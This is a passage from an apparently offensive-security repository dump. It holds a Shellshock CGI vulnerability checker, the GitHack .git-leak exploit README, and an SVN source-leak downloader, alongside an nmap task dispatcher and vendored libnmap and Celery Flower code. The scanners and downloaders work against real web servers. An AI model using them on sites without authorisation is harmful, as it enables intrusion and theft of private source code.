14 | socket.setdefaulttimeout(timeout) 15 | #测试是否有leak 16 | try: 17 | client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 | client_socket.connect((ipAddr, int(port))) 19 | client_socket.send(req) 20 | goodResp = client_socket.recv(1024) 21 | #print goodResp 22 | #if "wakaka" in goodResp: 23 | if "wakaka" in goodResp: 24 | print "[%s] Looks VULN" % ipAddr + "~wakaka" 25 | except: 26 | pass 27 | finally: 28 | client_socket.close() 29 | 30 | 31 | if __name__ == "__main__": 32 | if len(sys.argv) == 3: 33 | target = sys.argv[1] 34 | port = sys.argv[2] 35 | cgiList = ["/cgi-bin/load.cgi","/cgi-bin/gsweb.cgi","/cgi-bin/redirector.cgi","/cgi-bin/test.cgi","/cgi-bin/index.cgi","/cgi-bin/help.cgi","/cgi-bin/about.cgi","/cgi-bin/vidredirect.cgi","/cgi-bin/click.cgi","/cgi-bin/details.cgi","/cgi-bin/log.cgi","/cgi-bin/viewcontent.cgi","/cgi-bin/content.cgi","/cgi-bin/admin.cgi","/cgi-bin/webmail.cgi"] 36 | for cgi in cgiList: 37 | #target = 38 | check_shellshock(target,port,cgi) 39 | else: 40 | print "python shellshock.py ip port" 41 | -------------------------------------------------------------------------------- /exp/svn/GitHack/README.md: -------------------------------------------------------------------------------- 1 | GitHack 2 | = 3 | 4 | GitHack is a `.git` folder disclosure exploit. 5 | 6 | It rebuild source code from .git folder while keep directory structure unchanged. 7 | 8 | GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。 9 | 10 | 渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。 11 | 12 | ## 脚本的工作原理 ## 13 | 14 | * 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 ) 15 | * 去.git/objects/ 文件夹下下载对应的文件 16 | * zlib解压文件,按原始的目录结构写入源代码 17 | 18 | ## 它的优点 ## 19 | 20 | * 速度快,默认20个工作线程 21 | * 尽量还原所有的源代码,缺失部分文件不影响脚本工作 22 | * 脚本不需要执行额外的git命令,All you need is python 23 | * 脚本无需浏览目录 24 | 25 | ## 可能的改进## 26 | 27 | * 存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码 28 | 29 | ##用法示例## 30 | GitHack.py http://www.openssl.org/.git/ 31 | 32 | ##反馈## 33 | * my[at]lijiejie.com 34 | * [http://www.lijiejie.com](http://www.lijiejie.com) 35 | 36 | ##Thanks## 37 | Thanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin) 38 | 39 | -------------------------------------------------------------------------------- /exp/svn/GitHack/lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/exp/svn/GitHack/lib/__init__.py -------------------------------------------------------------------------------- /exp/svn/GitHack/lib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/exp/svn/GitHack/lib/__init__.pyc -------------------------------------------------------------------------------- /exp/svn/GitHack/lib/parser.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/exp/svn/GitHack/lib/parser.pyc -------------------------------------------------------------------------------- /exp/svn/SVN_DOWN.PY: -------------------------------------------------------------------------------- 1 | import urllib2,os,re,sys argvs=sys.argv url=argvs[1] path=argvs[2] listurl=[] def getpath(url): try: c=urllib2.urlopen(url+'/.svn/entries').read() except: return None,None get=c.split('\n') #print get dir=[get[i-1] for i in range(len(get)) if get[i]=='dir' and get[i-1]!=''] file=[get[i-1] for i in range(len(get)) if get[i]=='file' and get[i-1]!=''] return dir,file def getfile(url): dir,file=getpath(url) if not dir and not file:return for i in file: listurl.append(url+'/.svn/text-base/%s.svn-base'%i) for k in dir: v=url+'/%s'%k getfile(v) return def download(url): v=url.split('/') s=v.index('.svn') ps='/'.join(v[0:s]).replace('http://%s'%domain[0],'') name=v[-1].replace('.svn-base','') fp=path+ps+'/%s'%name print fp try: data = urllib2.urlopen(url).read() except: return try: f = file(fp,'wb') except: try: os.makedirs(path+ps) except: pass f = file(fp,'wb') f.write(data) f.close() #url=raw_input('URl:') #path=raw_input('PATH:') domain=re.findall('http://([^/]*)',url) if not domain:raise path=path+'/%s'%domain[0] try: os.mkdir(path) except: print 'exit' getfile(url) map(download,listurl) -------------------------------------------------------------------------------- /exp/test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | # mail: root@1137.me 4 | 5 | 6 | print "Done" 7 | -------------------------------------------------------------------------------- /libnmap/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | __author__ = 'Ronald Bister, Mike Boutillier' 4 | __credits__ = ['Ronald Bister', 'Mike Boutillier'] 5 | __maintainer__ = 'Ronald Bister' 6 | __email__ = 'mini.pelle@gmail.com' 7 | __license__ = 'CC-BY' 8 | __version__ = '0.6.1' 9 | -------------------------------------------------------------------------------- /libnmap/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/__init__.pyc -------------------------------------------------------------------------------- /libnmap/diff.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/diff.pyc -------------------------------------------------------------------------------- /libnmap/objects/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from libnmap.objects.report import NmapReport 4 | from libnmap.objects.host import NmapHost 5 | from libnmap.objects.service import NmapService 6 | 7 | __all__ = ['NmapReport', 'NmapHost', 'NmapService'] 8 | -------------------------------------------------------------------------------- /libnmap/objects/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/objects/__init__.pyc -------------------------------------------------------------------------------- /libnmap/objects/cpe.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/objects/cpe.pyc -------------------------------------------------------------------------------- /libnmap/objects/host.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/objects/host.pyc -------------------------------------------------------------------------------- /libnmap/objects/os.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/objects/os.pyc -------------------------------------------------------------------------------- /libnmap/objects/report.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/objects/report.pyc -------------------------------------------------------------------------------- /libnmap/objects/service.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/objects/service.pyc -------------------------------------------------------------------------------- /libnmap/parser.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/parser.pyc -------------------------------------------------------------------------------- /libnmap/plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/plugins/__init__.py -------------------------------------------------------------------------------- /libnmap/plugins/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/plugins/__init__.pyc -------------------------------------------------------------------------------- /libnmap/plugins/backend_host.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/plugins/backend_host.pyc -------------------------------------------------------------------------------- /libnmap/plugins/backend_service.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/plugins/backend_service.pyc -------------------------------------------------------------------------------- /libnmap/plugins/backendplugin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | class NmapBackendPlugin(object): 5 | """ 6 | Abstract class showing to the minimal implementation for a plugin 7 | All subclass MUST at least implement the following methods 8 | """ 9 | def __init__(self): 10 | self.dbname = 'nmapdb' 11 | self.store = 'reports' 12 | 13 | def insert(self, NmapReport): 14 | """ 15 | insert NmapReport in the backend 16 | :param NmapReport: 17 | :return: str the ident of the object in the backend for 18 | future usage 19 | or None 20 | """ 21 | raise NotImplementedError 22 | 23 | def delete(self, id): 24 | """ 25 | delete NmapReport if the backend 26 | :param id: str 27 | """ 28 | raise NotImplementedError 29 | 30 | def get(self, id): 31 | """ 32 | retreive a NmapReport from the backend 33 | :param id: str 34 | :return: NmapReport 35 | """ 36 | raise NotImplementedError 37 | 38 | def getall(self, filter): 39 | """ 40 | :return: collection of tuple (id,NmapReport) 41 | :param filter: Nice to have implement a filter capability 42 | """ 43 | raise NotImplementedError 44 | -------------------------------------------------------------------------------- /libnmap/plugins/backendplugin.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/plugins/backendplugin.pyc -------------------------------------------------------------------------------- /libnmap/plugins/backendpluginFactory.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import inspect 4 | 5 | 6 | class BackendPluginFactory(object): 7 | """ 8 | This is a backend plugin factory a backend instance MUST be 9 | created via the static method create() 10 | ie : mybackend = BackendPluginFactory.create() 11 | """ 12 | @classmethod 13 | def create(cls, plugin_name="mongodb", **kwargs): 14 | """Import the needed lib and return an object NmapBackendPlugin 15 | representing the backend of your desire. 16 | NmapBackendPlugin is an abstract class, to know what argument 17 | need to be given, review the code of the subclass you need 18 | :param plugin_name: str : name of the py file without .py 19 | :return: NmapBackend (abstract class on top of all plugin) 20 | """ 21 | backendplugin = None 22 | plugin_path = "libnmap.plugins.{0}".format(plugin_name) 23 | __import__(plugin_path) 24 | pluginobj = sys.modules[plugin_path] 25 | pluginclasses = inspect.getmembers(pluginobj, inspect.isclass) 26 | for classname, classobj in pluginclasses: 27 | if inspect.getmodule(classobj).__name__.find(plugin_path) == 0: 28 | try: 29 | backendplugin = classobj(**kwargs) 30 | except Exception as error: 31 | raise Exception("Cannot create Backend: {0}".format(error)) 32 | return backendplugin 33 | -------------------------------------------------------------------------------- /libnmap/plugins/backendpluginFactory.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/plugins/backendpluginFactory.pyc -------------------------------------------------------------------------------- /libnmap/process.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/process.pyc -------------------------------------------------------------------------------- /libnmap/reportjson.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import json 5 | from libnmap.objects import NmapHost, NmapService, NmapReport 6 | from libnmap.objects.os import NmapOSFingerprint, NmapOSMatch, NmapOSClass 7 | from libnmap.objects.os import CPE, OSFPPortUsed 8 | from libnmap.parser import NmapParser 9 | 10 | 11 | class ReportEncoder(json.JSONEncoder): 12 | def default(self, obj): 13 | otype = {'NmapHost': NmapHost, 14 | 'NmapOSFingerprint': NmapOSFingerprint, 15 | 'NmapOSMatch': NmapOSMatch, 16 | 'NmapOSClass': NmapOSClass, 17 | 'CPE': CPE, 18 | 'OSFPPortUsed': OSFPPortUsed, 19 | 'NmapService': NmapService, 20 | 'NmapReport': NmapReport} 21 | if isinstance(obj, tuple(otype.values())): 22 | key = ('__{0}__').format(obj.__class__.__name__) 23 | return {key: obj.__dict__} 24 | return json.JSONEncoder.default(self, obj) 25 | 26 | 27 | class ReportDecoder(json.JSONDecoder): 28 | def decode(self, json_str): 29 | r = NmapParser.parse_fromdict(json.loads(json_str)) 30 | return r 31 | -------------------------------------------------------------------------------- /libnmap/reportjson.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/libnmap/reportjson.pyc -------------------------------------------------------------------------------- /run.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | # run.py 4 | # email: root@1137.me 5 | 6 | import sys 7 | from tasks import * 8 | from wyfunc import make_target_list 9 | 10 | def start_nmap_dispath(targets, taskid=None): 11 | print '-' * 50 12 | target_list = make_target_list(targets) 13 | 14 | for target in target_list: 15 | print '-' * 50 16 | print '* push %s to Redis' % target 17 | print '* AsyncResult:%s' % nmap_dispath.delay(target,taskid=taskid) 18 | 19 | print '-' * 50 20 | print '* Push nmapscan tasks complete.' 21 | print '-' * 50 22 | 23 | if __name__ == "__main__": 24 | if len(sys.argv) == 2: 25 | start_nmap_dispath(sys.argv[1]) 26 | sys.exit(0) 27 | elif len(sys.argv) == 3: 28 | start_nmap_dispath(sys.argv[1], sys.argv[2]) 29 | else: 30 | print ("usage: %s targets taskid" % sys.argv[0]) 31 | sys.exit(-1) 32 | -------------------------------------------------------------------------------- /src/flower-0.7.3/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/.DS_Store -------------------------------------------------------------------------------- /src/flower-0.7.3/._.DS_Store: -------------------------------------------------------------------------------- 1 | Mac OS X  2Fx ATTRxx -------------------------------------------------------------------------------- /src/flower-0.7.3/AUTHORS: -------------------------------------------------------------------------------- 1 | ================================== 2 | AUTHORS (in chronological order) 3 | ================================== 4 | 5 | Mher Movsisyan 6 | Ask Solem 7 | Lukasz Marcin Dobrzanski 8 | Alexander Koshelev 9 | Gary Linscott 10 | Tommaso Barbugli 11 | Miguel Gaiowski 12 | Matt Hughes 13 | Romain Commandé 14 | Andres Riancho 15 | Jet Zheung 16 | Audrius Butkevicius 17 | Yulian Slobodyan 18 | Rob O'Dwyer 19 | Horace Thomas 20 | Kit Sunde 21 | Adam Greig 22 | Luciano Pacheco 23 | Miki Tebeka 24 | Michael J. Schultz 25 | TJ Kells 26 | Geoff Jukes 27 | Peter De Vries 28 | Sabeel Saif Hakim 29 | Gaurav Dadhania 30 | Charlie Marshall 31 | Benjamin Drung 32 | David Thorman 33 | Hong Minhee 34 | John Costa 35 | Iuri de Silvio 36 | Balthazar Rouberol 37 | Alexandre Ferland 38 | -------------------------------------------------------------------------------- /src/flower-0.7.3/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2012, Mher Movsisyan and individual contributors. 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, 8 | this list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright 11 | notice, this list of conditions and the following disclaimer in the 12 | documentation and/or other materials provided with the distribution. 13 | 14 | * Neither the name of the Celery Flower nor the names of its contributors 15 | may be used to endorse or promote products derived from this software 16 | without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 22 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 23 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 24 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 25 | INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 26 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 27 | ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /src/flower-0.7.3/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include AUTHORS 2 | include CHANGES 3 | include LICENSE 4 | include MANIFEST.in 5 | include README.rst 6 | recursive-include docs * 7 | recursive-include flower/static * 8 | recursive-include flower/templates * 9 | recursive-include tests * 10 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | VERSION = (0, 7, 3) 4 | __version__ = '.'.join(map(str, VERSION)) 5 | 6 | from .app import Flower # noqa 7 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/__main__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | from __future__ import print_function 3 | 4 | from flower.command import FlowerCommand 5 | from flower.utils import bugreport 6 | 7 | 8 | def main(): 9 | try: 10 | flower = FlowerCommand() 11 | flower.execute_from_commandline() 12 | except: 13 | import sys 14 | print(bugreport(), file=sys.stderr) 15 | raise 16 | 17 | 18 | if __name__ == "__main__": 19 | main() 20 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/api/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import tornado.websocket 4 | 5 | 6 | class BaseWebSocketHandler(tornado.websocket.WebSocketHandler): 7 | # listeners = [], should be created in derived class 8 | 9 | def open(self): 10 | listeners = self.listeners 11 | listeners.append(self) 12 | 13 | def on_message(self, message): 14 | pass 15 | 16 | def on_close(self): 17 | listeners = self.listeners 18 | if self in listeners: 19 | listeners.remove(self) 20 | 21 | @classmethod 22 | def send_message(cls, message): 23 | for l in cls.listeners: 24 | l.write_message(message) 25 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/api/events.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import sys 4 | 5 | from ..api import BaseWebSocketHandler 6 | 7 | 8 | class EventsApiHandler(BaseWebSocketHandler): 9 | def open(self, task_id=None): 10 | BaseWebSocketHandler.open(self) 11 | self.task_id = task_id 12 | 13 | @classmethod 14 | def send_message(cls, event): 15 | for l in cls.listeners: 16 | if not l.task_id or l.task_id == event['uuid']: 17 | l.write_message(event) 18 | 19 | 20 | EVENTS = ('task-sent', 'task-received', 'task-started', 'task-succeeded', 21 | 'task-failed', 'task-revoked', 'task-retried') 22 | 23 | 24 | def getClassName(eventname): 25 | return ''.join(map(lambda x: x[0].upper() + x[1:], eventname.split('-'))) 26 | 27 | 28 | # Dynamically generates handler classes 29 | thismodule = sys.modules[__name__] 30 | for event in EVENTS: 31 | classname = getClassName(event) 32 | setattr(thismodule, classname, 33 | type(classname, (EventsApiHandler, ), {'listeners': []})) 34 | 35 | 36 | __all__ = list(map(getClassName, EVENTS)) 37 | __all__.append(getClassName) 38 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/api/workers.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from tornado import web 4 | 5 | from ..models import WorkersModel 6 | from ..views import BaseHandler 7 | 8 | 9 | class ListWorkers(BaseHandler): 10 | @web.authenticated 11 | def get(self): 12 | """ 13 | List workers 14 | 15 | **Example request**: 16 | 17 | .. sourcecode:: http 18 | 19 | GET /api/workers HTTP/1.1 20 | Host: localhost:5555 21 | 22 | **Example response**: 23 | 24 | .. sourcecode:: http 25 | 26 | HTTP/1.1 200 OK 27 | Content-Length: 119 28 | Content-Type: application/json; charset=UTF-8 29 | 30 | { 31 | "celery@worker1": { 32 | "completed_tasks": 0, 33 | "concurrency": 4, 34 | "queues": [ 35 | "celery" 36 | ], 37 | "running_tasks": 0, 38 | "status": true 39 | }, 40 | "celery@worker2": { 41 | "completed_tasks": 0, 42 | "concurrency": 4, 43 | "queues": [], 44 | "running_tasks": 0, 45 | "status": false 46 | } 47 | } 48 | 49 | :reqheader Authorization: optional OAuth token to authenticate 50 | :statuscode 200: no error 51 | :statuscode 401: unauthorized request 52 | """ 53 | app = self.application 54 | self.write(WorkersModel.get_latest(app).workers) 55 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/settings.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from os.path import join, abspath, dirname 4 | 5 | from .utils import gen_cookie_secret 6 | 7 | 8 | PROJECT_ROOT = abspath(dirname(__file__)) 9 | 10 | APP_SETTINGS = dict( 11 | template_path=join(PROJECT_ROOT, "templates"), 12 | static_path=join(PROJECT_ROOT, "static"), 13 | cookie_secret=gen_cookie_secret(), 14 | login_url='/login', 15 | ) 16 | 17 | URL_PREFIX = '' 18 | PAGE_UPDATE_INTERVAL = 2000 19 | AUTO_REFRESH = True 20 | CELERY_EVENTS_ENABLE_INTERVAL = 5000 21 | CELERY_INSPECT_TIMEOUT = 1000 22 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/favicon.ico -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/apple-touch-icon-114-precomposed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/apple-touch-icon-114-precomposed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/apple-touch-icon-144-precomposed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/apple-touch-icon-144-precomposed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/apple-touch-icon-57-precomposed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/apple-touch-icon-57-precomposed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/apple-touch-icon-72-precomposed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/apple-touch-icon-72-precomposed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/glyphicons-halflings-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/glyphicons-halflings-white.png -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/glyphicons-halflings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/static/img/glyphicons-halflings.png -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/templates/404.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block container %} 4 |
5 |

6 | {% if message %} 7 | {{ message }} 8 | {% else %} 9 | Error, page not found 10 | {% end %} 11 |

12 |

13 | {% end %} 14 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/templates/broker.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block navbar %} 4 | {% module Template("navbar.html", active_tab="broker", absolute_url=absolute_url) %} 5 | {% end %} 6 | 7 | {% block container %} 8 |
9 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | {% for queue in broker.queues %} 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | {% end %} 36 | 37 |
Queues
NameMessagesUnackedReadyConsumersIdle since
{{ queue['name'] }}{{ queue.get('messages', 'N/A') }}{{ queue.get('messages_unacknowledged', 'N/A') }}{{ queue.get('messages_ready', 'N/A') }}{{ queue.get('consumers', 'N/A') }}{{ queue.get('idle_since', 'N/A') }}
38 | 39 |
40 | {% end %} 41 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/templates/error.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block container %} 4 |
5 |

It looks like you have found a bug! You can help to improve 6 | Celery Flower by opening an issue in https://github.com/mher/flower/issues 7 |

8 |
 9 | {{ bugreport }}
10 | 
11 | {{ error_trace }}
12 |         
13 |
14 | {% end %} 15 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/templates/navbar.html: -------------------------------------------------------------------------------- 1 | 23 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/utils/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import base64 4 | import uuid 5 | 6 | from .. import __version__ 7 | 8 | 9 | def gen_cookie_secret(): 10 | return base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes) 11 | 12 | 13 | def bugreport(): 14 | try: 15 | import celery 16 | return 'flower -> %s' % __version__ + celery.bugreport() 17 | except (ImportError, AttributeError): 18 | return 'Unknown Celery version' 19 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/utils/template.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import re 4 | import sys 5 | 6 | PY2 = sys.version_info[0] == 2 7 | if not PY2: 8 | text_type = str 9 | string_types = (str,) 10 | else: 11 | text_type = unicode 12 | string_types = (str, unicode) 13 | 14 | from datetime import datetime 15 | 16 | KEYWORDS_UP = ('ssl', 'uri', 'url', 'uuid', 'eta') 17 | KEYWORDS_DOWN = ('args', 'kwargs') 18 | UUID_REGEX = re.compile(r'^[\w]{8}(-[\w]{4}){3}-[\w]{12}$') 19 | 20 | 21 | def format_time(time): 22 | dt = datetime.fromtimestamp(time) 23 | return '%s.%s' % ( 24 | dt.strftime("%Y-%m-%d %H:%M:%S"), dt.microsecond) 25 | 26 | 27 | def humanize(obj, type=None, length=None): 28 | if obj is None: 29 | obj = '' 30 | elif type == 'time': 31 | obj = format_time(float(obj)) if obj else '-' 32 | elif isinstance(obj, string_types) and not re.match(UUID_REGEX, obj): 33 | obj = obj.replace('-', ' ').replace('_', ' ') 34 | obj = re.sub('|'.join(KEYWORDS_UP), 35 | lambda m: m.group(0).upper(), obj) 36 | if obj and obj not in KEYWORDS_DOWN: 37 | obj = obj[0].upper() + obj[1:] 38 | elif isinstance(obj, list): 39 | if all(isinstance(x, (int, float) + string_types) for x in obj): 40 | obj = ', '.join(map(str, obj)) 41 | if length is not None and len(obj) > length: 42 | obj = obj[:length - 4] + ' ...' 43 | return obj 44 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/views/broker.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from tornado import web 4 | 5 | from ..views import BaseHandler 6 | from ..models import BrokerModel 7 | 8 | 9 | class BrokerView(BaseHandler): 10 | @web.authenticated 11 | def get(self): 12 | broker = BrokerModel(self.application) 13 | self.render("broker.html", broker=broker) 14 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/views/error.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import tornado.web 4 | 5 | from ..views import BaseHandler 6 | 7 | 8 | class NotFoundErrorHandler(BaseHandler): 9 | def get(self): 10 | raise tornado.web.HTTPError(404) 11 | 12 | def post(self): 13 | raise tornado.web.HTTPError(404) 14 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/views/tasks.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import celery 4 | 5 | from tornado import web 6 | 7 | from ..views import BaseHandler 8 | from ..models import TaskModel, WorkersModel 9 | 10 | 11 | class TaskView(BaseHandler): 12 | @web.authenticated 13 | def get(self, task_id): 14 | task = TaskModel.get_task_by_id(self.application, task_id) 15 | if task is None: 16 | raise web.HTTPError(404, "Unknown task '%s'" % task_id) 17 | 18 | self.render("task.html", task=task) 19 | 20 | 21 | class TasksView(BaseHandler): 22 | @web.authenticated 23 | def get(self): 24 | app = self.application 25 | limit = self.get_argument('limit', default=None, type=int) 26 | worker = self.get_argument('worker', None) 27 | type = self.get_argument('type', None) 28 | state = self.get_argument('state', None) 29 | 30 | worker = worker if worker != 'All' else None 31 | type = type if type != 'All' else None 32 | state = state if state != 'All' else None 33 | 34 | tasks = TaskModel.iter_tasks(app, 